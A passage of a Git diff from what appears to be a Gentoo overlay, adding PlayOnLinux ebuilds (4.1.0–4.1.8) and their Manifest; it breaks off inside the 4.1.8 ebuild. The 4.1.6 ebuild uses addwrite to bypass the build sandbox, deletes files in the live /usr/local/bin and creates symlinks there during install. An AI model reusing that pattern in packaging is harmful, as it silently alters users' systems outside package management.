8a01cbb39bf6bae6d763bcf561bd8231eb462a85c73b804b599aab9561f8a981 SHA512 ae9e906a19a0daf26dee5656eb758f8fc6b864ca5a8fb88281b3b2c9543a06b352df72428e7028ec77cb1656aae01bc62ce443f45e62177c3a80e45d813e6de0 WHIRLPOOL 83137f970375ad9d061d741048ba928e6fd4ae489a3ef90aac57e16d00403f367925fc5ccb23fa5f11aa07503288a0097b77516196722245e5385b2b89c23774 +DIST PlayOnLinux_4.1.6.tar.gz 3994906 SHA256 e245d7b2f8255df21c3866cab45d2445b5759da6066e9c29b6b92cb4b0d2997c SHA512 a8a150d80b0c4eeb56809286b9f71360aaebca9a7ce7ad5d81fb4cd47e8c889dcdfaaa4d9b3fd0448541248e53b7c9103c49f2cf71346cd9ad2b3a054fac1983 WHIRLPOOL aa7977224ad3a55da79f4a0054c716b8916c5b76ab005341519021ea6d498857fc5a501f9a54309ee84ef7f47acc63a6de0801e415e61dcc870da7c3a2cf1bfe +DIST PlayOnLinux_4.1.8.tar.gz 4001263 SHA256 da7c5a92f19e3d72f393979a37b8c7ac7104765081c092ffeb855190742b2ec3 SHA512 027ff8adfc7bc9392c4353fbbf36f3b7adb2e0d64f550abca00d3f77d5b8fa387fce4965aa48f147b0492ba07a79f2271a5ab4b05f501752f9d8b94e3016ce43 WHIRLPOOL 1abe6b84da2455f06706f41bcd4e6c3f6f504a26e8eb8891d876fcb118825e51ee0fcf4043c63248869c78875e79f8732f38bd7a7c581d1d3ca7465dc7f0d56b +DIST PlayOnLinux_4.2.1.tar.gz 4308243 SHA256 c6e6622afc502cbd89f0d274055282c6a4d696273f167a76acba76a04e9cb0bb SHA512 ece0987275862530665eaeaa37b20ea3a14e367c19399c6024c55130dd7bc29200c5459ab72b42d2f410355793bf2166348aecb691f8179191ccac57217f9ba7 WHIRLPOOL 834f375aa1b8daf2e738368c48bd75d9a78931f6379c5184632061a8f50a1d89c91d69f317b51856489621ca14701ce38a32a3631737cb2b33453e001d2ea9e8 +EBUILD playonlinux-4.1.0.ebuild 3250 SHA256 7f08256fa84270ac721f5480c77cf645db95b70dac6872f73dd991815f53e5f9 SHA512 5ab56ff5a2aaf980d3a78d603c0bf6bbf5659cf13feb4a6e56ee51e88a44a53a39cc37c732e03bf08a6f7d2212ef7ae270351ccaa3f285efee091f894ded2a9c WHIRLPOOL 141266ff3f00ffd4b508cd29107a1a30dce67ebf24d240624a46b85322a42e08b6e2e8f7165568fb3645b3f7eb9ee558a2a6ad33434706e61deb39b8cda6b9f8 +EBUILD playonlinux-4.1.1.ebuild 3250 SHA256 7f08256fa84270ac721f5480c77cf645db95b70dac6872f73dd991815f53e5f9 SHA512 5ab56ff5a2aaf980d3a78d603c0bf6bbf5659cf13feb4a6e56ee51e88a44a53a39cc37c732e03bf08a6f7d2212ef7ae270351ccaa3f285efee091f894ded2a9c WHIRLPOOL 141266ff3f00ffd4b508cd29107a1a30dce67ebf24d240624a46b85322a42e08b6e2e8f7165568fb3645b3f7eb9ee558a2a6ad33434706e61deb39b8cda6b9f8 +EBUILD playonlinux-4.1.3.ebuild 3165 SHA256 26c7cd150609af528a8d920a21c588c705528d48b405c47e5184b8d4204ffab7 SHA512 6bcceb8a486fa7039e85078e8a4918720bb409edbe270d068b3c0f0d9dba748a0c428d01f34e96721a8b83c915bd3c17648ddb939b43d9b389179b834816ecae WHIRLPOOL 15832b55cfab3d64a9adff219937a1f7360f5bd3ebd58aa8730a42dcf398112980e7a1f4f95bc8a14ca97cb3acb0c2a9585ddd26da66aae49a8921621f3fc9dd +EBUILD playonlinux-4.1.4.ebuild 3165 SHA256 26c7cd150609af528a8d920a21c588c705528d48b405c47e5184b8d4204ffab7 SHA512 6bcceb8a486fa7039e85078e8a4918720bb409edbe270d068b3c0f0d9dba748a0c428d01f34e96721a8b83c915bd3c17648ddb939b43d9b389179b834816ecae WHIRLPOOL 15832b55cfab3d64a9adff219937a1f7360f5bd3ebd58aa8730a42dcf398112980e7a1f4f95bc8a14ca97cb3acb0c2a9585ddd26da66aae49a8921621f3fc9dd +EBUILD playonlinux-4.1.5.ebuild 3165 SHA256 26c7cd150609af528a8d920a21c588c705528d48b405c47e5184b8d4204ffab7 SHA512 6bcceb8a486fa7039e85078e8a4918720bb409edbe270d068b3c0f0d9dba748a0c428d01f34e96721a8b83c915bd3c17648ddb939b43d9b389179b834816ecae WHIRLPOOL 15832b55cfab3d64a9adff219937a1f7360f5bd3ebd58aa8730a42dcf398112980e7a1f4f95bc8a14ca97cb3acb0c2a9585ddd26da66aae49a8921621f3fc9dd +EBUILD playonlinux-4.1.6.ebuild 3877 SHA256 e87178cc076c52394f9d0f4d57043fd9092d31a4565acba067aa2be21b149dca SHA512 2b8e6c4052520c7945fb44bdd33ece1a81779a90d750f1e80c25aea2ffadfb9ca1aaac163a49fcce3dd1e6a407bb9128fc633d244be46ee289c8e1ccb1dae8f4 WHIRLPOOL ed2cad5a6222dc50e985af091a1acada23010482095d5878ad98ef386c069ed8e21ac8da16dd298a1b36f70be5b75397042ed5c4a18411ed6b1b157f8c2ba15b +EBUILD playonlinux-4.1.8.ebuild 3899 SHA256 b075d953c378b16af80ca7e048a1334d0754a71b40cdee0acf363444f86fd848 SHA512 0b4e8ef6ec8e77b99befb28e7befa79f5e426c3da038206abdb624c13ff3daaa8c77b50f13d178973a45f634b7bbc4dffce5e65a69be28132a9127142dd94974 WHIRLPOOL e950e7f5e17333adb6dddf158780055d31909c70b404a1aef8d271c6c917bfe70d2c35cdd589d1148535fcc15a12ca6973848376a5b451c4d83c8977e074cdb2 +EBUILD playonlinux-4.2.1.ebuild 3899 SHA256 b075d953c378b16af80ca7e048a1334d0754a71b40cdee0acf363444f86fd848 SHA512 0b4e8ef6ec8e77b99befb28e7befa79f5e426c3da038206abdb624c13ff3daaa8c77b50f13d178973a45f634b7bbc4dffce5e65a69be28132a9127142dd94974 WHIRLPOOL e950e7f5e17333adb6dddf158780055d31909c70b404a1aef8d271c6c917bfe70d2c35cdd589d1148535fcc15a12ca6973848376a5b451c4d83c8977e074cdb2 diff --git a/app-emulation/playonlinux/playonlinux-4.1.0.ebuild b/app-emulation/playonlinux/playonlinux-4.1.0.ebuild new file mode 100644 index 00000000..a8ef12cf --- /dev/null +++ b/app-emulation/playonlinux/playonlinux-4.1.0.ebuild @@ -0,0 +1,106 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" +PYTHON_DEPEND="2" + +inherit eutils python games + +MY_PN="PlayOnLinux" + +DESCRIPTION="set of scripts to easily install and use Windows games and software" +HOMEPAGE="http://playonlinux.com/" +SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="" +RDEPEND="app-emulation/wine + app-arch/cabextract + app-arch/unzip + dev-python/wxpython:2.8 + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + net-misc/wget + x11-apps/mesa-progs + x11-terms/xterm" + +S=${WORKDIR}/${PN} + +# TODO: +# Having a real install script and let playonlinux use standard filesystem +# architecture to prevent having everything installed into GAMES_DATADIR +# It will let using LANGUAGES easily +# How to deal with Microsoft Fonts installation asked every time ? +# How to deal with wine version installed ? (have a better mgmt of system one) +# Look at debian pkg: http://packages.debian.org/sid/playonlinux + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup + games_pkg_setup +} + +src_prepare() { + sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \ + || die "sed failed" + sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables || die "sed failed" + python_convert_shebangs -r 2 . +} + +src_install() { + # all things without exec permissions + insinto "${GAMES_DATADIR}/${PN}" + doins -r resources lang lib etc plugins || die "doins failed" + + # bash/ install + exeinto "${GAMES_DATADIR}/${PN}/bash" + doexe bash/* || die "doexe failed" + exeinto "${GAMES_DATADIR}/${PN}/bash/terminals" + doexe bash/terminals/* || die "doexe failed" + exeinto "${GAMES_DATADIR}/${PN}/bash/expert" + doexe bash/expert/* || die "doexe failed" + + # python/ install + exeinto "${GAMES_DATADIR}/${PN}/python" + doexe python/* || die "doexe failed" + # sub dir without exec permissions + insinto "${GAMES_DATADIR}/${PN}/python" + doins -r python/lib || die "doins failed" + + # main executable files + exeinto "${GAMES_DATADIR}/${PN}" + doexe ${PN}{,-pkg,-bash,-shell,-url_handler} || die "doexe failed" + + # making a script to run playonlinux from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher + newgamesbin playonlinux_launcher playonlinux || die "newgamesbin failed" + + # making a script to run playonlinux-cmd from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_cmd_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher + newgamesbin playonlinux_cmd_launcher playonlinux-cmd || die "newgamesbin failed" + + dodoc CHANGELOG || die "dodoc failed" + + doicon etc/${PN}.png || die "doicon failed" + domenu etc/${MY_PN}.desktop || die "domenu failed" + prepgamesdirs +} + +pkg_postinst() { + games_pkg_postinst + python_mod_optimize "${GAMES_DATADIR}/${PN}" +} + +pkg_postrm() { + python_mod_cleanup "${GAMES_DATADIR}/${PN}" + + ewarn "Installed softwares and games with playonlinux have not been removed." + ewarn "To remove them, you can re-install playonlinux and remove them using it" + ewarn "or do it manually by removing .PlayOnLinux/ in your home directory." +} diff --git a/app-emulation/playonlinux/playonlinux-4.1.1.ebuild b/app-emulation/playonlinux/playonlinux-4.1.1.ebuild new file mode 100644 index 00000000..a8ef12cf --- /dev/null +++ b/app-emulation/playonlinux/playonlinux-4.1.1.ebuild @@ -0,0 +1,106 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" +PYTHON_DEPEND="2" + +inherit eutils python games + +MY_PN="PlayOnLinux" + +DESCRIPTION="set of scripts to easily install and use Windows games and software" +HOMEPAGE="http://playonlinux.com/" +SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="" +RDEPEND="app-emulation/wine + app-arch/cabextract + app-arch/unzip + dev-python/wxpython:2.8 + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + net-misc/wget + x11-apps/mesa-progs + x11-terms/xterm" + +S=${WORKDIR}/${PN} + +# TODO: +# Having a real install script and let playonlinux use standard filesystem +# architecture to prevent having everything installed into GAMES_DATADIR +# It will let using LANGUAGES easily +# How to deal with Microsoft Fonts installation asked every time ? +# How to deal with wine version installed ? (have a better mgmt of system one) +# Look at debian pkg: http://packages.debian.org/sid/playonlinux + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup + games_pkg_setup +} + +src_prepare() { + sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \ + || die "sed failed" + sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables || die "sed failed" + python_convert_shebangs -r 2 . +} + +src_install() { + # all things without exec permissions + insinto "${GAMES_DATADIR}/${PN}" + doins -r resources lang lib etc plugins || die "doins failed" + + # bash/ install + exeinto "${GAMES_DATADIR}/${PN}/bash" + doexe bash/* || die "doexe failed" + exeinto "${GAMES_DATADIR}/${PN}/bash/terminals" + doexe bash/terminals/* || die "doexe failed" + exeinto "${GAMES_DATADIR}/${PN}/bash/expert" + doexe bash/expert/* || die "doexe failed" + + # python/ install + exeinto "${GAMES_DATADIR}/${PN}/python" + doexe python/* || die "doexe failed" + # sub dir without exec permissions + insinto "${GAMES_DATADIR}/${PN}/python" + doins -r python/lib || die "doins failed" + + # main executable files + exeinto "${GAMES_DATADIR}/${PN}" + doexe ${PN}{,-pkg,-bash,-shell,-url_handler} || die "doexe failed" + + # making a script to run playonlinux from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher + newgamesbin playonlinux_launcher playonlinux || die "newgamesbin failed" + + # making a script to run playonlinux-cmd from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_cmd_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher + newgamesbin playonlinux_cmd_launcher playonlinux-cmd || die "newgamesbin failed" + + dodoc CHANGELOG || die "dodoc failed" + + doicon etc/${PN}.png || die "doicon failed" + domenu etc/${MY_PN}.desktop || die "domenu failed" + prepgamesdirs +} + +pkg_postinst() { + games_pkg_postinst + python_mod_optimize "${GAMES_DATADIR}/${PN}" +} + +pkg_postrm() { + python_mod_cleanup "${GAMES_DATADIR}/${PN}" + + ewarn "Installed softwares and games with playonlinux have not been removed." + ewarn "To remove them, you can re-install playonlinux and remove them using it" + ewarn "or do it manually by removing .PlayOnLinux/ in your home directory." +} diff --git a/app-emulation/playonlinux/playonlinux-4.1.3.ebuild b/app-emulation/playonlinux/playonlinux-4.1.3.ebuild new file mode 100644 index 00000000..0fdcc7e6 --- /dev/null +++ b/app-emulation/playonlinux/playonlinux-4.1.3.ebuild @@ -0,0 +1,110 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $ + +EAPI="4" +PYTHON_DEPEND="2" + +inherit eutils python games + +MY_PN="PlayOnLinux" + +DESCRIPTION="Set of scripts to easily install and use Windows games and software" +HOMEPAGE="http://playonlinux.com/" +SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="winbind" + +DEPEND="" +RDEPEND="app-emulation/wine + app-arch/cabextract + app-arch/p7zip + app-arch/unzip + app-crypt/gnupg + dev-python/wxpython:2.8 + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + net-misc/wget + x11-apps/mesa-progs + x11-terms/xterm + media-gfx/icoutils + winbind? ( net-fs/samba[winbind] ) " + +S=${WORKDIR}/${PN} + +# TODO: +# Having a real install script and let playonlinux use standard filesystem +# architecture to prevent having everything installed into GAMES_DATADIR +# It will let using LANGUAGES easily +# How to deal with Microsoft Fonts installation asked every time ? +# How to deal with wine version installed ? (have a better mgmt of system one) +# Look at debian pkg: http://packages.debian.org/sid/playonlinux + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup + games_pkg_setup +} + +src_prepare() { + sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \ + || die + sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die + python_convert_shebangs -r 2 . +} + +src_install() { + # all things without exec permissions + insinto "${GAMES_DATADIR}/${PN}" + doins -r resources lang lib etc plugins + + # bash/ install + exeinto "${GAMES_DATADIR}/${PN}/bash" + doexe bash/* + #exeinto "${GAMES_DATADIR}/${PN}/bash/terminals" + #doexe bash/terminals/* + exeinto "${GAMES_DATADIR}/${PN}/bash/expert" + doexe bash/expert/* + + # python/ install + exeinto "${GAMES_DATADIR}/${PN}/python" + doexe python/* + # sub dir without exec permissions + insinto "${GAMES_DATADIR}/${PN}/python" + doins -r python/lib + + # main executable files + exeinto "${GAMES_DATADIR}/${PN}" + doexe ${PN}{,-pkg,-bash,-shell,-url_handler} + + # making a script to run playonlinux from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher + newgamesbin playonlinux_launcher playonlinux + + # making a script to run playonlinux-cmd from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_cmd_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher + newgamesbin playonlinux_cmd_launcher playonlinux-cmd + + dodoc CHANGELOG + + doicon etc/${PN}.png + domenu etc/${MY_PN}.desktop + prepgamesdirs +} + +pkg_postinst() { + games_pkg_postinst + python_mod_optimize "${GAMES_DATADIR}/${PN}" +} + +pkg_postrm() { + python_mod_cleanup "${GAMES_DATADIR}/${PN}" + + elog "Installed softwares and games with playonlinux have not been removed." + elog "To remove them, you can re-install playonlinux and remove them using it" + elog "or do it manually by removing .PlayOnLinux/ in your home directory." +} diff --git a/app-emulation/playonlinux/playonlinux-4.1.4.ebuild b/app-emulation/playonlinux/playonlinux-4.1.4.ebuild new file mode 100644 index 00000000..0fdcc7e6 --- /dev/null +++ b/app-emulation/playonlinux/playonlinux-4.1.4.ebuild @@ -0,0 +1,110 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $ + +EAPI="4" +PYTHON_DEPEND="2" + +inherit eutils python games + +MY_PN="PlayOnLinux" + +DESCRIPTION="Set of scripts to easily install and use Windows games and software" +HOMEPAGE="http://playonlinux.com/" +SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="winbind" + +DEPEND="" +RDEPEND="app-emulation/wine + app-arch/cabextract + app-arch/p7zip + app-arch/unzip + app-crypt/gnupg + dev-python/wxpython:2.8 + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + net-misc/wget + x11-apps/mesa-progs + x11-terms/xterm + media-gfx/icoutils + winbind? ( net-fs/samba[winbind] ) " + +S=${WORKDIR}/${PN} + +# TODO: +# Having a real install script and let playonlinux use standard filesystem +# architecture to prevent having everything installed into GAMES_DATADIR +# It will let using LANGUAGES easily +# How to deal with Microsoft Fonts installation asked every time ? +# How to deal with wine version installed ? (have a better mgmt of system one) +# Look at debian pkg: http://packages.debian.org/sid/playonlinux + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup + games_pkg_setup +} + +src_prepare() { + sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \ + || die + sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die + python_convert_shebangs -r 2 . +} + +src_install() { + # all things without exec permissions + insinto "${GAMES_DATADIR}/${PN}" + doins -r resources lang lib etc plugins + + # bash/ install + exeinto "${GAMES_DATADIR}/${PN}/bash" + doexe bash/* + #exeinto "${GAMES_DATADIR}/${PN}/bash/terminals" + #doexe bash/terminals/* + exeinto "${GAMES_DATADIR}/${PN}/bash/expert" + doexe bash/expert/* + + # python/ install + exeinto "${GAMES_DATADIR}/${PN}/python" + doexe python/* + # sub dir without exec permissions + insinto "${GAMES_DATADIR}/${PN}/python" + doins -r python/lib + + # main executable files + exeinto "${GAMES_DATADIR}/${PN}" + doexe ${PN}{,-pkg,-bash,-shell,-url_handler} + + # making a script to run playonlinux from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher + newgamesbin playonlinux_launcher playonlinux + + # making a script to run playonlinux-cmd from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_cmd_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher + newgamesbin playonlinux_cmd_launcher playonlinux-cmd + + dodoc CHANGELOG + + doicon etc/${PN}.png + domenu etc/${MY_PN}.desktop + prepgamesdirs +} + +pkg_postinst() { + games_pkg_postinst + python_mod_optimize "${GAMES_DATADIR}/${PN}" +} + +pkg_postrm() { + python_mod_cleanup "${GAMES_DATADIR}/${PN}" + + elog "Installed softwares and games with playonlinux have not been removed." + elog "To remove them, you can re-install playonlinux and remove them using it" + elog "or do it manually by removing .PlayOnLinux/ in your home directory." +} diff --git a/app-emulation/playonlinux/playonlinux-4.1.5.ebuild b/app-emulation/playonlinux/playonlinux-4.1.5.ebuild new file mode 100644 index 00000000..0fdcc7e6 --- /dev/null +++ b/app-emulation/playonlinux/playonlinux-4.1.5.ebuild @@ -0,0 +1,110 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $ + +EAPI="4" +PYTHON_DEPEND="2" + +inherit eutils python games + +MY_PN="PlayOnLinux" + +DESCRIPTION="Set of scripts to easily install and use Windows games and software" +HOMEPAGE="http://playonlinux.com/" +SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="winbind" + +DEPEND="" +RDEPEND="app-emulation/wine + app-arch/cabextract + app-arch/p7zip + app-arch/unzip + app-crypt/gnupg + dev-python/wxpython:2.8 + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + net-misc/wget + x11-apps/mesa-progs + x11-terms/xterm + media-gfx/icoutils + winbind? ( net-fs/samba[winbind] ) " + +S=${WORKDIR}/${PN} + +# TODO: +# Having a real install script and let playonlinux use standard filesystem +# architecture to prevent having everything installed into GAMES_DATADIR +# It will let using LANGUAGES easily +# How to deal with Microsoft Fonts installation asked every time ? +# How to deal with wine version installed ? (have a better mgmt of system one) +# Look at debian pkg: http://packages.debian.org/sid/playonlinux + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup + games_pkg_setup +} + +src_prepare() { + sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \ + || die + sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die + python_convert_shebangs -r 2 . +} + +src_install() { + # all things without exec permissions + insinto "${GAMES_DATADIR}/${PN}" + doins -r resources lang lib etc plugins + + # bash/ install + exeinto "${GAMES_DATADIR}/${PN}/bash" + doexe bash/* + #exeinto "${GAMES_DATADIR}/${PN}/bash/terminals" + #doexe bash/terminals/* + exeinto "${GAMES_DATADIR}/${PN}/bash/expert" + doexe bash/expert/* + + # python/ install + exeinto "${GAMES_DATADIR}/${PN}/python" + doexe python/* + # sub dir without exec permissions + insinto "${GAMES_DATADIR}/${PN}/python" + doins -r python/lib + + # main executable files + exeinto "${GAMES_DATADIR}/${PN}" + doexe ${PN}{,-pkg,-bash,-shell,-url_handler} + + # making a script to run playonlinux from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher + newgamesbin playonlinux_launcher playonlinux + + # making a script to run playonlinux-cmd from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_cmd_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher + newgamesbin playonlinux_cmd_launcher playonlinux-cmd + + dodoc CHANGELOG + + doicon etc/${PN}.png + domenu etc/${MY_PN}.desktop + prepgamesdirs +} + +pkg_postinst() { + games_pkg_postinst + python_mod_optimize "${GAMES_DATADIR}/${PN}" +} + +pkg_postrm() { + python_mod_cleanup "${GAMES_DATADIR}/${PN}" + + elog "Installed softwares and games with playonlinux have not been removed." + elog "To remove them, you can re-install playonlinux and remove them using it" + elog "or do it manually by removing .PlayOnLinux/ in your home directory." +} diff --git a/app-emulation/playonlinux/playonlinux-4.1.6.ebuild b/app-emulation/playonlinux/playonlinux-4.1.6.ebuild new file mode 100644 index 00000000..241edd16 --- /dev/null +++ b/app-emulation/playonlinux/playonlinux-4.1.6.ebuild @@ -0,0 +1,132 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $ + +EAPI="4" +PYTHON_DEPEND="2" + +inherit eutils python games + +MY_PN="PlayOnLinux" + +DESCRIPTION="Set of scripts to easily install and use Windows games and software" +HOMEPAGE="http://playonlinux.com/" +SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="winbind" + +DEPEND="" +RDEPEND="app-emulation/wine + app-arch/cabextract + app-arch/p7zip + app-arch/unzip + app-crypt/gnupg + dev-python/wxpython:2.8 + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + net-misc/wget + x11-apps/mesa-progs + x11-terms/xterm + media-gfx/icoutils + winbind? ( net-fs/samba[winbind] ) " + +S=${WORKDIR}/${PN} + +# TODO: +# Having a real install script and let playonlinux use standard filesystem +# architecture to prevent having everything installed into GAMES_DATADIR +# It will let using LANGUAGES easily +# How to deal with Microsoft Fonts installation asked every time ? +# How to deal with wine version installed ? (have a better mgmt of system one) +# Look at debian pkg: http://packages.debian.org/sid/playonlinux + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup + games_pkg_setup +} + +src_prepare() { + sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \ + || die + sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die + python_convert_shebangs -r 2 . +} + +src_install() { + # all things without exec permissions + insinto "${GAMES_DATADIR}/${PN}" + doins -r resources lang lib etc plugins + + # bash/ install + exeinto "${GAMES_DATADIR}/${PN}/bash" + doexe bash/* + #exeinto "${GAMES_DATADIR}/${PN}/bash/terminals" + #doexe bash/terminals/* + exeinto "${GAMES_DATADIR}/${PN}/bash/expert" + doexe bash/expert/* + + # python/ install + exeinto "${GAMES_DATADIR}/${PN}/python" + doexe python/* + # sub dir without exec permissions + insinto "${GAMES_DATADIR}/${PN}/python" + doins -r python/lib + + # main executable files + exeinto "${GAMES_DATADIR}/${PN}" + doexe ${PN}{,-pkg,-bash,-shell,-url_handler} + + # making a script to run playonlinux from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher + newgamesbin playonlinux_launcher playonlinux + + # making a script to run playonlinux-cmd from ${GAMES_BINDIR} + echo "#!/bin/bash" > ${PN}_cmd_launcher + echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher + newgamesbin playonlinux_cmd_launcher playonlinux-cmd + + dodoc CHANGELOG + + doicon etc/${PN}.png + domenu etc/${MY_PN}.desktop + prepgamesdirs + + if [ -f "/usr/bin/python2.6" ]; then + addwrite /usr/local/bin/ + if [ ! -f "/usr/local/bin/python2.6" ]; then + dosym /usr/bin/python2.6 /usr/local/bin/ || die + else + echo "The file already existed" + rm /usr/local/bin/python2.6 || die + dosym /usr/bin/python2.6 /usr/local/bin/ || die + echo "Replaced it" + fi + if [ ! -f "/usr/local/bin/python2.6-config" ]; then + dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die + else + echo "The file already existed" + rm /usr/local/bin/python2.6-config || die + dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die + echo "Replaced it" + fi + else + ewarn "There is no python2.6, you should emerge python2.6" + fi +} + +pkg_postinst() { + games_pkg_postinst + python_mod_optimize "${GAMES_DATADIR}/${PN}" +} + +pkg_postrm() { + python_mod_cleanup "${GAMES_DATADIR}/${PN}" + + elog "Installed softwares and games with playonlinux have not been removed." + elog "To remove them, you can re-install playonlinux and remove them using it" + elog "or do it manually by removing .PlayOnLinux/ in your home directory." +} diff --git a/app-emulation/playonlinux/playonlinux-4.1.8.ebuild b/app-emulation/playonlinux/playonlinux-4.1.8.ebuild new file mode 100644 index 00000000..8b22bda7 --- /dev/null +++ b/app-emulation/playonlinux/playonlinux-4.1.8.ebuild @@ -0,0 +1,133 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $ + +EAPI="4" +PYTHON_DEPEND="2" + +inherit eutils python games + +MY_PN="PlayOnLinux" + +DESCRIPTION="Set of scripts to easily install and use Windows games and software" +HOMEPAGE="http://playonlinux.com/" +SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="winbind" + +DEPEND="" +RDEPEND="app-emulation/wine + app-arch/cabextract + app-arch/p7zip + app-arch/unzip + app-crypt/gnupg + net-analyzer/netcat6 + dev-python/wxpython:2.8 + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + net-misc/wget + x11-apps/mesa-progs + x11-terms/xterm + media-gfx/icoutils + winbind? ( net-fs/samba[winbind] ) " + +S=${WORKDIR}/${PN} + +# TODO: +# Having a real install script and let playonlinux use standard filesystem +# architecture to prevent having everything installed into GAMES_DATADIR +# It will let using LANGUAGES easily +# How to deal with 